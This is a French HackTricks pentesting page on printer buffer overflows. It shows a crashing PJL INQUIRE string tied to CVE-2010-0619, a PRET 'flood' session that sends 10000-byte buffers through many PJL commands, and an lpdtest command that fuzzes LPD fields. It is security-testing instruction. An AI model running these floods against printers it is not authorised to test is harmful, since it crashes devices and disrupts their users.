hacktricks/network-services-pentesting/pentesting-printers/buffer-overflows.md
2023-06-03 13:10:46 +00:00

5.6 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PJL

Diverses imprimantes laser Lexmark plantent lorsqu'elles reçoivent environ 1 000 caractères en tant qu'argument INQUIRE (voir CVE-2010-0619) et l'envoi d'environ 3 000 caractères en tant qu'argument SET à l'imprimante Dell 1720n plante l'appareil :

@PJL INQUIRE 00000000000000000000000000000000000000000000000000000…

Vous pouvez vérifier les débordements de tampon en utilisant PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> flood
Buffer size: 10000, Sending: @PJL SET [buffer]
Buffer size: 10000, Sending: @PJL [buffer]
Buffer size: 10000, Sending: @PJL COMMENT [buffer]
Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]
Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
Buffer size: 10000, Sending: @PJL INFO [buffer]
Buffer size: 10000, Sending: @PJL ECHO [buffer]
Buffer size: 10000, Sending: @PJL INQUIRE [buffer]
Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]
Buffer size: 10000, Sending: @PJL USTATUS [buffer]
Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]"
Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]"
Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]"

Démon LPD

Il permet plusieurs vecteurs définis par l'utilisateur tels que nom de travail, nom d'utilisateur ou nom d'hôte, qui peuvent ne pas être suffisamment protégés. Plusieurs vulnérabilités liées à ce dysfonctionnement ont déjà été découvertes.

Un simple fuzzer LPD pour tester les débordements de tampon peut être créé en utilisant l'outil lpdtest inclus dans PRET. L'argument in définit toutes les entrées utilisateur définies par le protocole LPD à une certaine valeur (dans ce cas, la sortie Python):

./lpdtest.py printer in "`python -c 'print "x"*150'`"

Vous pouvez trouver plus d'informations sur ces attaques sur http://hacking-printers.net/wiki/index.php/Buffer_overflows

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥